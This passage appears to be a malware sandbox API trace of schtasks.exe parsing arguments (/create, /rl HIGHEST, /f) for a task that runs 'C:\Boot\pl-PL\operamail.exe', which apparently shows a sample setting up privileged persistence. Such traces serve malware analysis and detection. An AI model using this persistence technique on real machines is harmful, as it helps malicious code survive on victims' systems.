wMatch=0x74) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0135.988] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0135.989] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0135.989] GetLastError () returned 0x0 [0135.989] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.989] lstrlenW (lpString="'C:\\Boot\\pl-PL\\operamail.exe'") returned 29 [0135.989] SetLastError (dwErrCode=0x0) [0135.989] SetLastError (dwErrCode=0x0) [0135.989] lstrlenW (lpString="/rl") returned 3 [0135.989] lstrlenW (lpString="-/") returned 2 [0135.989] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0135.989] lstrlenW (lpString="create") returned 6 [0135.989] lstrlenW (lpString="create") returned 6 [0135.989] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.989] lstrlenW (lpString="rl") returned 2 [0135.989] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.989] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|create|") returned 8 [0135.989] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.990] lstrlenW (lpString="|create|") returned 8 [0135.990] lstrlenW (lpString="|rl|") returned 4 [0135.990] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0135.990] SetLastError (dwErrCode=0x490) [0135.990] lstrlenW (lpString="?") returned 1 [0135.990] lstrlenW (lpString="?") returned 1 [0135.990] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.990] lstrlenW (lpString="rl") returned 2 [0135.990] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.990] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|?|") returned 3 [0135.990] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.990] lstrlenW (lpString="|?|") returned 3 [0135.990] lstrlenW (lpString="|rl|") returned 4 [0135.990] SetLastError (dwErrCode=0x490) [0135.990] lstrlenW (lpString="s") returned 1 [0135.990] lstrlenW (lpString="s") returned 1 [0135.990] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.990] lstrlenW (lpString="rl") returned 2 [0135.990] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.990] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|s|") returned 3 [0135.990] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.990] lstrlenW (lpString="|s|") returned 3 [0135.990] lstrlenW (lpString="|rl|") returned 4 [0135.990] SetLastError (dwErrCode=0x490) [0135.990] lstrlenW (lpString="u") returned 1 [0135.990] lstrlenW (lpString="u") returned 1 [0135.990] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.991] lstrlenW (lpString="rl") returned 2 [0135.991] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.991] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|u|") returned 3 [0135.991] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.991] lstrlenW (lpString="|u|") returned 3 [0135.991] lstrlenW (lpString="|rl|") returned 4 [0135.991] SetLastError (dwErrCode=0x490) [0135.991] lstrlenW (lpString="p") returned 1 [0135.991] lstrlenW (lpString="p") returned 1 [0135.991] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.991] lstrlenW (lpString="rl") returned 2 [0135.991] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.991] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|p|") returned 3 [0135.991] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.991] lstrlenW (lpString="|p|") returned 3 [0135.991] lstrlenW (lpString="|rl|") returned 4 [0135.991] SetLastError (dwErrCode=0x490) [0135.991] lstrlenW (lpString="ru") returned 2 [0135.991] lstrlenW (lpString="ru") returned 2 [0135.991] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.991] lstrlenW (lpString="rl") returned 2 [0135.991] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.991] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ru|") returned 4 [0135.991] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.991] lstrlenW (lpString="|ru|") returned 4 [0135.991] lstrlenW (lpString="|rl|") returned 4 [0135.991] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0135.991] SetLastError (dwErrCode=0x490) [0135.992] lstrlenW (lpString="rp") returned 2 [0135.992] lstrlenW (lpString="rp") returned 2 [0135.992] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.992] lstrlenW (lpString="rl") returned 2 [0135.992] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.992] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rp|") returned 4 [0135.992] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.992] lstrlenW (lpString="|rp|") returned 4 [0135.992] lstrlenW (lpString="|rl|") returned 4 [0135.992] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0135.992] SetLastError (dwErrCode=0x490) [0135.992] lstrlenW (lpString="sc") returned 2 [0135.992] lstrlenW (lpString="sc") returned 2 [0135.992] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.992] lstrlenW (lpString="rl") returned 2 [0135.992] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.992] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sc|") returned 4 [0135.992] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.992] lstrlenW (lpString="|sc|") returned 4 [0135.992] lstrlenW (lpString="|rl|") returned 4 [0135.992] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0135.992] SetLastError (dwErrCode=0x490) [0135.992] lstrlenW (lpString="mo") returned 2 [0135.992] lstrlenW (lpString="mo") returned 2 [0135.992] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.992] lstrlenW (lpString="rl") returned 2 [0135.992] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.993] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|mo|") returned 4 [0135.993] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.993] lstrlenW (lpString="|mo|") returned 4 [0135.993] lstrlenW (lpString="|rl|") returned 4 [0135.993] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0135.993] SetLastError (dwErrCode=0x490) [0135.993] lstrlenW (lpString="d") returned 1 [0135.993] lstrlenW (lpString="d") returned 1 [0135.993] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.994] lstrlenW (lpString="rl") returned 2 [0135.994] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.994] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|d|") returned 3 [0135.994] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.994] lstrlenW (lpString="|d|") returned 3 [0135.994] lstrlenW (lpString="|rl|") returned 4 [0135.994] SetLastError (dwErrCode=0x490) [0135.994] lstrlenW (lpString="m") returned 1 [0135.994] lstrlenW (lpString="m") returned 1 [0135.994] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.994] lstrlenW (lpString="rl") returned 2 [0135.994] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.995] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|m|") returned 3 [0135.995] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.995] lstrlenW (lpString="|m|") returned 3 [0135.995] lstrlenW (lpString="|rl|") returned 4 [0135.995] SetLastError (dwErrCode=0x490) [0135.995] lstrlenW (lpString="i") returned 1 [0135.995] lstrlenW (lpString="i") returned 1 [0135.995] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.995] lstrlenW (lpString="rl") returned 2 [0135.995] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.995] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|i|") returned 3 [0135.995] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.995] lstrlenW (lpString="|i|") returned 3 [0135.995] lstrlenW (lpString="|rl|") returned 4 [0135.995] SetLastError (dwErrCode=0x490) [0135.995] lstrlenW (lpString="tn") returned 2 [0135.995] lstrlenW (lpString="tn") returned 2 [0135.995] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.995] lstrlenW (lpString="rl") returned 2 [0135.995] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.995] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tn|") returned 4 [0135.995] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.995] lstrlenW (lpString="|tn|") returned 4 [0135.995] lstrlenW (lpString="|rl|") returned 4 [0135.995] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0135.995] SetLastError (dwErrCode=0x490) [0135.995] lstrlenW (lpString="tr") returned 2 [0135.995] lstrlenW (lpString="tr") returned 2 [0135.996] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.996] lstrlenW (lpString="rl") returned 2 [0135.996] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.996] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|tr|") returned 4 [0135.996] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.996] lstrlenW (lpString="|tr|") returned 4 [0135.996] lstrlenW (lpString="|rl|") returned 4 [0135.996] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0135.996] SetLastError (dwErrCode=0x490) [0135.996] lstrlenW (lpString="st") returned 2 [0135.996] lstrlenW (lpString="st") returned 2 [0135.996] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.996] lstrlenW (lpString="rl") returned 2 [0135.996] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.996] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|st|") returned 4 [0135.996] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.996] lstrlenW (lpString="|st|") returned 4 [0135.996] lstrlenW (lpString="|rl|") returned 4 [0135.996] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0135.996] SetLastError (dwErrCode=0x490) [0135.996] lstrlenW (lpString="sd") returned 2 [0135.996] lstrlenW (lpString="sd") returned 2 [0135.996] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.996] lstrlenW (lpString="rl") returned 2 [0135.996] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.997] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|sd|") returned 4 [0135.997] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.997] lstrlenW (lpString="|sd|") returned 4 [0135.997] lstrlenW (lpString="|rl|") returned 4 [0135.997] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0135.997] SetLastError (dwErrCode=0x490) [0135.997] lstrlenW (lpString="ed") returned 2 [0135.997] lstrlenW (lpString="ed") returned 2 [0135.997] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.997] lstrlenW (lpString="rl") returned 2 [0135.997] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.997] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ed|") returned 4 [0135.997] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.997] lstrlenW (lpString="|ed|") returned 4 [0135.997] lstrlenW (lpString="|rl|") returned 4 [0135.997] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0135.997] SetLastError (dwErrCode=0x490) [0135.997] lstrlenW (lpString="it") returned 2 [0135.997] lstrlenW (lpString="it") returned 2 [0135.997] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.997] lstrlenW (lpString="rl") returned 2 [0135.997] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.997] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|it|") returned 4 [0135.997] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.998] lstrlenW (lpString="|it|") returned 4 [0135.998] lstrlenW (lpString="|rl|") returned 4 [0135.998] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0135.998] SetLastError (dwErrCode=0x490) [0135.998] lstrlenW (lpString="et") returned 2 [0135.998] lstrlenW (lpString="et") returned 2 [0135.998] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.998] lstrlenW (lpString="rl") returned 2 [0135.998] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.998] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|et|") returned 4 [0135.998] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.998] lstrlenW (lpString="|et|") returned 4 [0135.998] lstrlenW (lpString="|rl|") returned 4 [0135.998] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0135.998] SetLastError (dwErrCode=0x490) [0135.998] lstrlenW (lpString="k") returned 1 [0135.998] lstrlenW (lpString="k") returned 1 [0135.998] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.998] lstrlenW (lpString="rl") returned 2 [0135.998] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.998] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|k|") returned 3 [0135.998] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.998] lstrlenW (lpString="|k|") returned 3 [0135.998] lstrlenW (lpString="|rl|") returned 4 [0135.998] SetLastError (dwErrCode=0x490) [0135.998] lstrlenW (lpString="du") returned 2 [0135.998] lstrlenW (lpString="du") returned 2 [0135.998] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.999] lstrlenW (lpString="rl") returned 2 [0135.999] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.999] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|du|") returned 4 [0135.999] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.999] lstrlenW (lpString="|du|") returned 4 [0135.999] lstrlenW (lpString="|rl|") returned 4 [0135.999] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0135.999] SetLastError (dwErrCode=0x490) [0135.999] lstrlenW (lpString="ri") returned 2 [0135.999] lstrlenW (lpString="ri") returned 2 [0135.999] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.999] lstrlenW (lpString="rl") returned 2 [0135.999] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.999] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ri|") returned 4 [0135.999] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.999] lstrlenW (lpString="|ri|") returned 4 [0135.999] lstrlenW (lpString="|rl|") returned 4 [0135.999] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0135.999] SetLastError (dwErrCode=0x490) [0135.999] lstrlenW (lpString="z") returned 1 [0135.999] lstrlenW (lpString="z") returned 1 [0135.999] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.999] lstrlenW (lpString="rl") returned 2 [0135.999] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.999] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|z|") returned 3 [0135.999] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0135.999] lstrlenW (lpString="|z|") returned 3 [0136.000] lstrlenW (lpString="|rl|") returned 4 [0136.000] SetLastError (dwErrCode=0x490) [0136.000] lstrlenW (lpString="f") returned 1 [0136.000] lstrlenW (lpString="f") returned 1 [0136.000] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.000] lstrlenW (lpString="rl") returned 2 [0136.000] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.000] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|f|") returned 3 [0136.000] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0136.000] lstrlenW (lpString="|f|") returned 3 [0136.000] lstrlenW (lpString="|rl|") returned 4 [0136.000] SetLastError (dwErrCode=0x490) [0136.000] lstrlenW (lpString="v1") returned 2 [0136.000] lstrlenW (lpString="v1") returned 2 [0136.000] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.000] lstrlenW (lpString="rl") returned 2 [0136.000] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.000] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|v1|") returned 4 [0136.000] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0136.000] lstrlenW (lpString="|v1|") returned 4 [0136.000] lstrlenW (lpString="|rl|") returned 4 [0136.000] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0136.000] SetLastError (dwErrCode=0x490) [0136.000] lstrlenW (lpString="xml") returned 3 [0136.000] lstrlenW (lpString="xml") returned 3 [0136.000] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.000] lstrlenW (lpString="rl") returned 2 [0136.001] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.001] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|xml|") returned 5 [0136.001] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0136.001] lstrlenW (lpString="|xml|") returned 5 [0136.001] lstrlenW (lpString="|rl|") returned 4 [0136.001] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0136.001] SetLastError (dwErrCode=0x490) [0136.001] lstrlenW (lpString="ec") returned 2 [0136.001] lstrlenW (lpString="ec") returned 2 [0136.001] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.001] lstrlenW (lpString="rl") returned 2 [0136.001] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.001] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|ec|") returned 4 [0136.001] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0136.001] lstrlenW (lpString="|ec|") returned 4 [0136.001] lstrlenW (lpString="|rl|") returned 4 [0136.001] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0136.001] SetLastError (dwErrCode=0x490) [0136.001] lstrlenW (lpString="rl") returned 2 [0136.001] lstrlenW (lpString="rl") returned 2 [0136.001] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.001] lstrlenW (lpString="rl") returned 2 [0136.001] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.001] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0136.001] _vsnwprintf (in: _Buffer=0x2ec1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c2a8 | out: _Buffer="|rl|") returned 4 [0136.002] lstrlenW (lpString="|rl|") returned 4 [0136.002] lstrlenW (lpString="|rl|") returned 4 [0136.002] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0136.002] SetLastError (dwErrCode=0x0) [0136.002] SetLastError (dwErrCode=0x0) [0136.002] lstrlenW (lpString="HIGHEST") returned 7 [0136.002] lstrlenW (lpString="-/") returned 2 [0136.002] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0136.002] SetLastError (dwErrCode=0x490) [0136.002] SetLastError (dwErrCode=0x490) [0136.002] SetLastError (dwErrCode=0x0) [0136.002] lstrlenW (lpString="HIGHEST") returned 7 [0136.002] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0136.002] SetLastError (dwErrCode=0x490) [0136.002] SetLastError (dwErrCode=0x0) [0136.002] _memicmp (_Buf1=0x2ed490, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.002] lstrlenW (lpString="HIGHEST") returned 7 [0136.002] lstrlenW (lpString="HIGHEST") returned 7 [0136.002] lstrlenW (lpString=" \x09") returned 2 [0136.002] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0136.002] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0136.003] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0136.003] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0136.003] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0136.003] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0136.003] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0136.003] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0136.003] GetLastError () returned 0x0 [0136.003] lstrlenW (lpString="HIGHEST") returned 7 [0136.003] lstrlenW (lpString="HIGHEST") returned 7 [0136.003] SetLastError (dwErrCode=0x0) [0136.003] SetLastError (dwErrCode=0x0) [0136.003] lstrlenW (lpString="/f") returned 2 [0136.003] lstrlenW (lpString="-/") returned 2 [0136.003] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.003] lstrlenW (lpString="create") returned 6 [0136.003] lstrlenW (lpString="create") returned 6 [0136.003] _memicmp (_Buf1=0x2ec170, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.003] lstrlenW (lpString="f") returned 1 [0136.003] _memicmp (_Buf1=0x2ec1b0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.003] _vsnwprintf (in: _Buffer=0x2ec1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c2a8 | 